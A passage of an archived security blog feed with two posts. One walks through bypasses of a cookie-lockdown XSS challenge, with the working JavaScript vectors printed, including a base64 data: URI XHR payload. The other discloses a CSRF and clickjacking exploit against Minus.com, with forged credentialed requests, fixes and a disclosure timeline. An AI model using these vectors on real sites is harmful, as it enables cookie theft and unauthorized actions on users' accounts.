Mario started with this approach - he prepared a &amp;nbsp;'firewall' script and below displayed user-supplied HTML without any filtering. But first,&lt;b&gt; only IE9+ and FF6+ were allowed&lt;/b&gt; (other browsers don't yet have all the features to lock the precious). In the firewall, he locked down &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;document.cookie&lt;/span&gt;, leaving access to it only via a safe getter function. This safe getter function could only be called in via user click. IIRC, it looked like this:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;&amp;lt;script&amp;gt;
    document.cookie = '123456-secret-123456'; // my precious

    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() { 
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec &amp;amp;&amp;amp; ev.isTrusted === true 
                  &amp;amp;&amp;amp; ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };       
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden

    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
&amp;lt;/script&amp;gt;
&amp;lt;button id="safe123" onclick="alert(Safe.get())"&amp;gt;Access document.cookie safely -- the legit way&amp;lt;/button&amp;gt;
&lt;/pre&gt;
So we're done, right-o? &lt;b&gt;No!&lt;/b&gt; You could spoof the event, call the getter and get the cookie.&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;function b() { return Safe.get(); } 
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})
&lt;/pre&gt;
Solution? Make sure that the event is not spoofed by using instanceof &lt;b&gt;yet another locked down object.&amp;nbsp;&lt;/b&gt;That was also bypassed in many ways (look for &lt;i&gt;event&lt;/i&gt; in &lt;a href="http://xssme.html5sec.org/bypasses"&gt;bypass list&lt;/a&gt;), leading to &lt;b&gt;other lockdowns&lt;/b&gt;.&lt;br /&gt;
&lt;h2&gt;










I can read!&lt;/h2&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-qgz0EPLBepc/TpRgTMRSCiI/AAAAAAAAE4A/PZK_S5ggsjQ/s1600/baby-reading.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="171" src="http://1.bp.blogspot.com/-qgz0EPLBepc/TpRgTMRSCiI/AAAAAAAAE4A/PZK_S5ggsjQ/s200/baby-reading.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
Another approach was to simply retrieve the script text from document source (after all, it's all in the same origin) - brilliant:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0]; 
var clone = script.childNodes[0].cloneNode(true); 
var ta = document.createElement('textarea'); ta.appendChild(clone); 
alert(ta.value.match(/cookie = '(.*?)'/)[1])
&lt;/pre&gt;
and similar (Authors, please contact me for credits!). The issue here is that client-side, same-origin I can read my own document, including the source code of the script &lt;i&gt;containing the precious cookie&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Fix? &lt;b&gt;Disallow a bunch of node reading functions&lt;/b&gt; - so even more locks to add.&lt;br /&gt;
&lt;h2&gt;








We're on the web! &lt;/h2&gt;
Speaking of reading - isn't the webpage just a blob of text content? Maybe there is a way to read webpage HTML without even interpreting it? Of course there is - it was for years. &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;XMLHttpRequest&lt;/span&gt;. So there were multiple side-channel vectors that just read the original URL and extracted the cookie from &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;responseText&lt;/span&gt;.&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}
&lt;/pre&gt;
Solution? &lt;b&gt;Disallow XHR&lt;/b&gt; (and all it's other forms). Then this happened:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("&amp;lt;script&amp;gt;r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}&amp;lt;\/script&amp;gt;")};
document.body.appendChild(x);
&lt;/pre&gt;
&amp;nbsp;and &lt;b&gt;the challenge moved to the separate domain&lt;/b&gt; so that one could not attack via another page which was in same origin.&lt;br /&gt;
And then hell broke loose.
&lt;br /&gt;
&lt;h2&gt;










The great escape&lt;/h2&gt;
People started to load javascript in iframes. These got quickly disabled:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;            html.body.innerHTML = x;
            for (var i in j = html.querySelectorAll('iframe,object,embed')) {
                try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'} 
                catch (e) {}
            }
&lt;/pre&gt;
Then Mario took another approach to lockdown and &lt;b&gt;created the separate document&lt;/b&gt;, replacing the original to lose even his own origin (a brilliant code btw):
&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;    if (document.head.parentNode.id !== 'sanitized') {
        document.write('&amp;lt;plaintext id=test&amp;gt;');
        var test = document.getElementById('test');
        setTimeout(function(){
            var x = test.innerHTML;
            var j = null;
            var html = document.implementation.createHTMLDocument(
                'http://www.w3.org/1999/xhtml', 'html', null
            );
            html.body.innerHTML = x;
            document.write('&amp;lt;!doctype html&amp;gt;&amp;lt;html id="sanitized"&amp;gt;&amp;lt;head&amp;gt;' 
    + document.head.innerHTML + '&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;' 
    + html.body.innerHTML + '&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;');
  },50);
    }   
&lt;/pre&gt;
But still, as of now, two bypasses work. "Garethy&amp;nbsp;Salty method" by &lt;a href="http://twitter.com/irsdl"&gt;Soroush Dalili&lt;/a&gt; and mine.&lt;br /&gt;
&lt;br /&gt;
Mine is using the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Data_URI_scheme"&gt;data:&lt;/a&gt;&lt;/span&gt; uri with a HTML document that loads the original page via XHR (possible because of Firefox's weird assumption that data: documents are of the same origin as the calling page). Gareth uses proprietary Firefox &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Components.lookupMethod&lt;/span&gt; and gets the original native objects that were supposed to be locked down.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; 
// base 64 is:
&amp;lt;script&amp;gt;x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function() { alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);&amp;lt;/script&amp;gt;

// Gareth - use unlockable Components.lookupMethod
alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));
&lt;/pre&gt;
Solution? &lt;b&gt;None for now&lt;/b&gt;. I guess the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;location&lt;/span&gt; is going to be locked down to beat my vector, but Garethy Salty method looks flawless.&lt;br /&gt;
&lt;h2&gt;










The sad state of DOM security&lt;/h2&gt;
Current matters are that the DOM security is in a very poor state. In the end, to be able to lock down &lt;i&gt;a single&lt;/i&gt; DOM property Mario - &lt;b&gt;one of the best men for this job on the planet&lt;/b&gt; - had to:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;agree to browser limits (currently only a single browser is in-scope, the challenge is not even working in Chrome)&lt;/li&gt;
&lt;li&gt;lock down almost everything, including XHR, window, document&lt;/li&gt;
&lt;li&gt;disallow user interaction&lt;/li&gt;
&lt;li&gt;disallow reading the contents of the page&lt;/li&gt;
&lt;li&gt;disallow iframes, object &amp;amp; embeds (so no&amp;nbsp;&lt;a href="http://www.youtube.com/watch?v=QH2-TGUlwu4"&gt;Youtube&lt;/a&gt;&amp;nbsp;movies :( )&lt;/li&gt;
&lt;li&gt;deal with multiple browser quirks&lt;/li&gt;
&lt;li&gt;deal with side channels&lt;/li&gt;
&lt;li&gt;get the challenge on a separate subdomain&lt;/li&gt;
&lt;li&gt;reload the whole page in new origin&lt;/li&gt;
&lt;/ul&gt;
Then a few dozen people sit down, make up the weirdest vectors and make all of this still bypassable :(&lt;br /&gt;
&lt;h2&gt;









And yet we all rule&lt;/h2&gt;
This post though comes as a salute to all you guys involved! We all rule!&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Mario rules for coming up with all these countermeasures (remember - it's much tougher to defend)&lt;/li&gt;
&lt;li&gt;All the contestants rule for bypassing them one after another (I've learned tons of new tricks from others)&lt;/li&gt;
&lt;li&gt;The challenge rules as it showed exactly what is the current state of DOM security and what needs to be fixed&lt;/li&gt;
&lt;li&gt;Javascript rules for making all of this possible&lt;/li&gt;
&lt;li&gt;and Firefox rules for all its quirky bypasses ;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4969168541335847632?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/ocgJxdnM0Qw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4969168541335847632/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4969168541335847632" title="12 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4969168541335847632?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4969168541335847632?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/ocgJxdnM0Qw/sad-state-of-dom-security-or-how-we-all.html" title="The sad state of DOM security (or how we all ruled Mario's challenge)" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-DPTlezIJCyc/TpQIW7AEiYI/AAAAAAAAE34/MabwX8A7S3g/s72-c/my-precious.jpg" height="72" width="72" /><thr:total>12</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQNSX84fSp7ImA9WhdWFkk.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-2295924887055223030</id><published>2011-09-09T12:12:00.000+02:00</published><updated>2011-09-10T10:29:58.135+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-10T10:29:58.135+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjacking" /><category scheme="http://www.blogger.com/atom/ns#" term="ui" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="upload" /><category scheme="http://www.blogger.com/atom/ns#" term="game" /><title>Minus.com silent arbitrary file upload</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;h2&gt;



Summary&lt;/h2&gt;
&lt;a href="http://4.bp.blogspot.com/-xiPxNVJRa7o/TfCT7WjH5oI/AAAAAAAAEuM/P2sublQzx1I/s1600/inxATm.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-xiPxNVJRa7o/TfCT7WjH5oI/AAAAAAAAEuM/P2sublQzx1I/s1600/inxATm.png" /&gt;&lt;/a&gt;&lt;b&gt;Minus&lt;/b&gt; (&amp;nbsp;http://min.us&amp;nbsp;- now moved to &lt;a href="http://minus.com/"&gt;http://minus.com&lt;/a&gt;&amp;nbsp;)&amp;nbsp;is a simple sharing platform that allows users to share, publish and discover photos, docs, music, videos and more. This relatively new site has gained media attention and was &lt;a href="http://min.us/pages/about"&gt;recently featured&lt;/a&gt; in Techcrunch.com, Sitepoint, Lifehacker, Wall Street Journal etc.&amp;nbsp;Minus recently raised $1M from IDG Capital Partners. &lt;br /&gt;
A few months ago I've found a way to &lt;b&gt;silently upload and publish&lt;/b&gt; a file of attacker's choosing on behalf of a logged in Minus user, similar to what &lt;a href="http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html"&gt;I found on Flickr&lt;/a&gt;. Today I present the vulnerability details with demonstration of an attack. The demo was first publicly disclosed at &lt;a href="http://securitybyte.org/"&gt;SecurityByte 2011&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The exploit is another example of &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;HTML5 arbitrary file upload vulnerability&lt;/a&gt;, this time though it requires user interaction as the exploit uses&amp;nbsp;&lt;a href="http://ui-redressing.mniemietz.de/"&gt;UI redressing content extraction&lt;/a&gt;. The exploit is Firefox only.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;



Demo&lt;/h2&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="349" src="http://www.youtube.com/embed/kVRxGfZHOf4" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;h2&gt;



Disclaimer&lt;/h2&gt;
&lt;div&gt;
&lt;b&gt;A few parts of the exploit don't work for now as during the months vendor updated its code substantially - this text represents the vulnerability when it was detected and reported first. Here's the &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/min.us"&gt;source code for the exploit&lt;/a&gt; if you want to improve.&lt;/b&gt;&lt;/div&gt;
&lt;h2&gt;



Vulnerabilities description&lt;/h2&gt;
Minus website was vulnerable to &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt;&amp;nbsp;attacks - it was possible to forge requests to the application, including file upload request. Additionally, a user of the application could be tricked into revealing sensitive data using&amp;nbsp;&lt;a href="http://www.gnucitizen.org/blog/more-advanced-clickjacking-ui-redress-attacks/"&gt;UI-redressing&lt;/a&gt;, allowing attacker to undertake further actions on user's behalf.&lt;br /&gt;
The presented Proof of Concept exploited those vulnerabilities. It consists of multiple steps:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;create a gallery&lt;/li&gt;
&lt;li&gt;fetch gallery &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;editor_id&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;upload a file&lt;/li&gt;
&lt;li&gt;rename a gallery&lt;/li&gt;
&lt;li&gt;make it public&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
To help you understand the API we're contacting with, here's &lt;a href="http://minus.com/pages/api"&gt;docs&lt;/a&gt;. Let's go!&lt;/div&gt;
&lt;div&gt;
&lt;h2&gt;



Create a gallery&lt;/h2&gt;
&lt;/div&gt;
&lt;div&gt;
Nothing fancy - Gallery creation URL is vulnerable to CSRF. Creating gallery request is created using HTML5 cross origin resource sharing (&lt;a href="http://en.wikipedia.org/wiki/Cross-Origin_Resource_Sharing"&gt;CORS&lt;/a&gt;).&lt;/div&gt;
&lt;div&gt;
&lt;pre class="brush:js,highlight:[3,13]" name="code"&gt;var xhr = new XMLHttpRequest();
    xhr.open("GET", 'http://min.us/api/CreateGallery', true);
    xhr.withCredentials = "true";

    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status &amp;gt;= 200 &amp;amp;&amp;amp; xhr.status &amp;lt;= 200) || xhr.status == 304) {
          
          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg); // display response.
          }
        } else if (xhr.status == 0) {
            next_step()
        }
      }
    }
    xhr.send(null);
&lt;/pre&gt;
&lt;/div&gt;
We're using &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;withCredentials&lt;/span&gt; to include cookies. next_step() will launch after server returned a response. This will produce a HTTP request like so: &lt;br /&gt;
&lt;pre class="brush:text,highlight:[4,6]" name="code"&gt;GET /api/CreateGallery HTTP/1.1
Host: min.us
...
Referer: http://attacker.blog.security.localhost/min.us/
Origin: http://attacker.blog.security.localhost
Cookie: sessionid=deadbeef;
&lt;/pre&gt;
&lt;div&gt;
Cookies are included, also the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Referer&lt;/span&gt; points to attacker's site.&amp;nbsp;The target website does not issue any CORS-enabling HTTP headers, so while&amp;nbsp;we can send (more or less) arbitrary POST/GET requests with user cookies, &lt;b&gt;the attacker won't get access to the response. &lt;/b&gt;But the gallery (private by default) will be created nonetheless.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: 24px; font-weight: bold;"&gt;Get gallery editor_id&lt;/span&gt;&lt;br /&gt;
To be able to modify a gallery (e.g. upload files), we need it's&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;editor_id&lt;/span&gt;. While the server responded with it, we didn't get the answer (CORS limitation). Luckily&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;editor_id&lt;/span&gt; can also be found in HTML rendered by the Minus home page for a user:&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;!-- homepage --&amp;gt;
&amp;lt;div class="bottom_left_options"&amp;gt;
  &amp;lt;a href="/mZ3cbJIjIKBGR"&amp;gt;Edit&amp;lt;/a&amp;gt;
  &amp;lt;input type="hidden" value="Z3cbJIjIKBGR" name="gallery_editor_url"&amp;gt;
  &amp;lt;select class="gaccess_select public"&amp;gt;
    &amp;lt;option value="public" selected="selected"&amp;gt;Public&amp;lt;/option&amp;gt;
    &amp;lt;option value="private"&amp;gt;Private&amp;lt;/option&amp;gt;
  &amp;lt;/select&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-i5Pnl9zjVMk/TfChwrZD2aI/AAAAAAAAEuQ/wfS6zbMr11o/s1600/Zrzut+ekranu+2011-06-09+%2528godz.+11.31.02%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="89" src="http://1.bp.blogspot.com/-i5Pnl9zjVMk/TfChwrZD2aI/AAAAAAAAEuQ/wfS6zbMr11o/s320/Zrzut+ekranu+2011-06-09+%2528godz.+11.31.02%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Due to same origin policy, we can't read the Minus site contents. But the site is &lt;a href="https://www.owasp.org/index.php/Clickjacking"&gt;vulnerable to clickjacking&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(&lt;/span&gt;no&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;X-Frame-Options&lt;/span&gt;, no frame-busting), so Minus home page can be embedded in an iframe on attackers's site, like this:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-xLBpU0TLI2Q/TfCh8_1Q7oI/AAAAAAAAEuU/YX7RV_lcIM4/s1600/Zrzut+ekranu+2011-06-09+%2528godz.+11.26.54%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-xLBpU0TLI2Q/TfCh8_1Q7oI/AAAAAAAAEuU/YX7RV_lcIM4/s1600/Zrzut+ekranu+2011-06-09+%2528godz.+11.26.54%2529.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The frame is positioned on 'edit' link of topmost gallery (which just so happens is a gallery silently created by an attacker). &amp;nbsp;The link &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;href &lt;/span&gt;is&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; http://min.us/m[gallery_editor_id]&lt;/span&gt;. Now it's just a simple game - the trash can is&amp;nbsp;overlaid&amp;nbsp;by invisible textarea, so &lt;b&gt;dragging paper to trashcan is actually dragging a link to a textarea&lt;/b&gt;, which will copy the link &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;href&lt;/span&gt; there (Mozilla only, Webkit disallows cross origin drag&amp;amp;drop). Then some Javascript trickery and we have &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;editor_id&lt;/span&gt;! That's an example of content extraction &lt;a href="http://ui-redressing.mniemietz.de/"&gt;UI redressing&lt;/a&gt; attack.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-IiaGdiIDmuc/TfCkOYP4u2I/AAAAAAAAEuY/RDiHamBFeyM/s1600/p.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-IiaGdiIDmuc/TfCkOYP4u2I/AAAAAAAAEuY/RDiHamBFeyM/s1600/p.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2&gt;



Upload a file&lt;/h2&gt;
&lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;HTML5 cross-domain arbitrary file upload&lt;/a&gt; technique is used - it's even easier as we don't need to make a MIME form, Minus accepts a binary file in POST body contents.&lt;br /&gt;
&lt;pre class="text" name="code"&gt;POST /api/UploadItem_Web/?editor_id=Z3cbJIjIKBGR&amp;amp;key=OK&amp;amp;filename=cake.jpg HTTP/1.1
Host: min.us
...
Proxy-Connection: keep-alive
Content-Type: text/plain
Referer: http://attacker.blog.security.localhost/min.us/
Content-Length: 23478
Origin: http://attacker.blog.security.localhost
Cookie: sessionid=deadbeef

[binary-file-here]
&lt;/pre&gt;
&lt;/div&gt;
&lt;h2&gt;



And so on...&lt;/h2&gt;
then we simply make other CORS requests to rename the gallery and make it public. We don't care about the responses, as there are no one-time tokens in them - only things needed are the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;sessionid&lt;/span&gt; cookie (supplied by the browser with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;xhr.useCredentials&lt;/span&gt;) and&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;editor_id&lt;/span&gt;.&lt;br /&gt;
&lt;h2&gt;



How can we fix this?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;editor_id&lt;/span&gt; must be protected from being disclosed. In this case, using &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;X-Frame-Options&lt;/span&gt; header would be enough to make the exploit impossible.&lt;/li&gt;
&lt;li&gt;Introduce additional temporary tokens to guard users from CSRF.&lt;/li&gt;
&lt;li&gt;Many state changing actions are triggered by a GET request. Switch to POST.&lt;/li&gt;
&lt;li&gt;Mozilla - fix bugs!&amp;nbsp;&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=605991"&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=605991&lt;/a&gt; and &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=639796"&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=639796&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;h2&gt;



Timeline&lt;/h2&gt;
&lt;div&gt;
7.06.2011 - Issue discovered&lt;/div&gt;
&lt;div&gt;
8.06.2011 - Exploit ready, notified vendor, vendor response&lt;/div&gt;
&lt;div&gt;
9.06.2011 - Additional details sent to vendor&lt;br /&gt;
17.06.2011 - Asked vendor for the estimated fix timeline, no response&lt;br /&gt;
30.06.2011 - No fix timelime given&lt;br /&gt;
22.08.2011 - Parts of the exploit stop working due to unknown changes in the vendor code&lt;br /&gt;
22.08.2011 - Vendor notified of the public disclosure date&lt;br /&gt;
06.09.2011 - Public disclosure at SecurityByte 2011&lt;/div&gt;
&lt;h2&gt;



Final notes&lt;/h2&gt;
&lt;/div&gt;
&lt;div&gt;
UI-Redressing attacks are getting more and more powerful, this time effectively leading to token disclosure, allowing for CSRF. Yet they still don't get enough attention from browser vendors (i'm looking at you, Mozilla!) and web developers. It's exactly the reason of why I'm trying to prepare a reasonable proof of concept scenarios whenever I encounter such a vulnerability. Seeing is believing.&lt;/div&gt;
&lt;br /&gt;
Also - HTML5 sites are a minefield from the security perspective. I've discovered just a small issue that allowed a &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;file to be uploaded silently&lt;/a&gt; - and I've already found the way to exploit this on Flickr.com and Minus in &lt;b&gt;less than a month&lt;/b&gt;. One pretty big site and a trending one. &lt;b&gt;And they're the only one I've checked.&lt;/b&gt;&amp;nbsp;Just like DOM-XSS (as proved by &lt;a href="http://blog.mindedsecurity.com/2011/05/dominator-project.html"&gt;DOMinator&lt;/a&gt;), the stuff is out there, vulnerable, waiting for attention.&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2295924887055223030?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/1JZm4U7vuG4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/2295924887055223030/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2295924887055223030" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/2295924887055223030?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/2295924887055223030?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/1JZm4U7vuG4/minuscom-silent-arbitrary-file-upload.html" title="Minus.com silent arbitrary file upload" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-xiPxNVJRa7o/TfCT7WjH5oI/AAAAAAAAEuM/P2sublQzx1I/s72-c/inxATm.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/09/minuscom-silent-arbitrary-file-upload.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQHRHo_eip7ImA9WhdXEkw.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-3917632154720622060</id><published>2011-08-24T15:19:00.001+02:00</published><updated>2011-08-24T21:32:15.442+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-24T21:32:15.442+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="json" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Death to the filters - how to validate JSON correctly</title><content type="html">&lt;a href="http://www.json.org/"&gt;JSON&lt;/a&gt;&amp;nbsp;is a pretty popular data-interchange format. It's supported across programming languages, fits naturally into Javascript environment, it's human-readable &lt;i&gt;and &lt;/i&gt;it's much lighter than XML. No wonder the format is widely adopted in many web applications.&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Disclaimer: This post will probably be nothing new to security experts. It's meant for developers, as I've seen vulnerable applications using the bad practices described here.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;h2&gt;   Is JSON secure?&lt;/h2&gt;Well, &lt;a href="http://www.thespanner.co.uk/2011/05/30/json-hijacking/"&gt;it has some quirks&lt;/a&gt;&amp;nbsp;(it had even more of them in the past) but mostly it's good enough.&amp;nbsp;Provided two things:&lt;br /&gt;
